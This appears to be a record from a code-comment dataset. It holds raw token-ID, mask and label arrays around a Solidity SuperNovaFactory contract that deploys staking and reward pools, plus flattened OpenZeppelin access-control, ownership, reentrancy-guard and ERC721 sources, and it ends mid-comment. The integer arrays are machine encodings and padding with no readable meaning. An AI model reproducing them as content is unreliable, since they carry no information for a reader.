[ 1, 1356, 309, 326, 2236, 711, 326, 316, 5649, 1137, 600, 305, 292, 1249, 2478, 578, 353, 326, 432, 481, 2159, 1758, 225, 23350, 2159, 432, 481, 2159, 1758, 225, 2236, 6590, 1758, 327, 971, 326, 2236, 711, 326, 316, 5649, 1137, 600, 305, 292, 1249, 2478, 578, 353, 326, 432, 481, 2159, 3091, 1049, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 711, 382, 5649, 1137, 2888, 305, 292, 1249, 2996, 1162, 2520, 29752, 2159, 12, 203, 3639, 1758, 23350, 2159, 16, 203, 3639, 1758, 2236, 203, 565, 262, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 203, 5411, 23350, 2159, 422, 2236, 747, 203, 5411, 467, 16541, 4243, 12, 3860, 3367, 4243, 2934, 5332, 2996, 12, 203, 7734, 14763, 382, 5649, 1137, 2888, 305, 292, 1249, 2996, 12, 1826, 2159, 3631, 203, 7734, 2236, 203, 5411, 11272, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Supernova Factory This implements the core Supernova contract, which allows for generalized staking, yield farming, and token distribution. This also implements the POLAR spending mechanic for boosted reward distribution. Credit to: https://github.com/ampleforth/token-geyser https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity ^0.6.12; import "./ISuperNovaFactory.sol"; import "./SuperNova.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract SuperNovaFactory is ISuperNovaFactory,Ownable { // fields mapping(address => bool) public map; address[] public list; address private _supernova; address public _feeCollector; /** * @param supernova_ address of SuperNova token */ constructor(address supernova_, address feeCollector_) public { _supernova = supernova_; _feeCollector = feeCollector_; } function setFeeCollector(address feeCollector_) public onlyOwner { require(feeCollector_ != address(0), "SUPERNOVA FACTORY : address cannot be null"); _feeCollector = feeCollector_; } /** * @inheritdoc ISuperNovaFactory */ function create( address stakingToken, address rewardToken, uint256 bonusMin, uint256 bonusMax, uint256 bonusPeriod ) public override returns (address) { // create SuperNova superNova = new SuperNova( stakingToken, rewardToken, bonusMin, bonusMax, bonusPeriod, _supernova, _feeCollector ); superNova.transferOwnership(msg.sender); // bookkeeping map[address(superNova)] = true; list.push(address(superNova)); // output emit SuperNovaCreated(msg.sender, address(superNova)); return address(superNova); } /** * @return total number of Geysers created by the factory */ function count() public view returns (uint256) { return list.length; } }
* @inheritdoc ISuperNovaFactory/ create bookkeeping output
function create( address stakingToken, address rewardToken, uint256 bonusMin, uint256 bonusMax, uint256 bonusPeriod ) public override returns (address) { SuperNova superNova = new SuperNova( stakingToken, rewardToken, bonusMin, bonusMax, bonusPeriod, _supernova, _feeCollector ); superNova.transferOwnership(msg.sender); map[address(superNova)] = true; list.push(address(superNova)); emit SuperNovaCreated(msg.sender, address(superNova)); return address(superNova); }
7,319,003
[ 1, 36, 10093, 467, 8051, 50, 16739, 1733, 19, 752, 6978, 10102, 310, 876, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 12, 203, 3639, 1758, 384, 6159, 1345, 16, 203, 3639, 1758, 19890, 1345, 16, 203, 3639, 2254, 5034, 324, 22889, 2930, 16, 203, 3639, 2254, 5034, 324, 22889, 2747, 16, 203, 3639, 2254, 5034, 324, 22889, 5027, 203, 565, 262, 1071, 3849, 1135, 261, 2867, 13, 288, 203, 3639, 14845, 50, 16739, 2240, 50, 16739, 273, 394, 14845, 50, 16739, 12, 203, 5411, 384, 6159, 1345, 16, 203, 5411, 19890, 1345, 16, 203, 5411, 324, 22889, 2930, 16, 203, 5411, 324, 22889, 2747, 16, 203, 5411, 324, 22889, 5027, 16, 203, 5411, 389, 2859, 8865, 16739, 16, 203, 5411, 389, 21386, 7134, 203, 3639, 11272, 203, 3639, 2240, 50, 16739, 18, 13866, 5460, 12565, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 852, 63, 2867, 12, 9565, 50, 16739, 25887, 273, 638, 31, 203, 3639, 666, 18, 6206, 12, 2867, 12, 9565, 50, 16739, 10019, 203, 203, 3639, 3626, 14845, 50, 16739, 6119, 12, 3576, 18, 15330, 16, 1758, 12, 9565, 50, 16739, 10019, 203, 3639, 327, 1758, 12, 9565, 50, 16739, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement 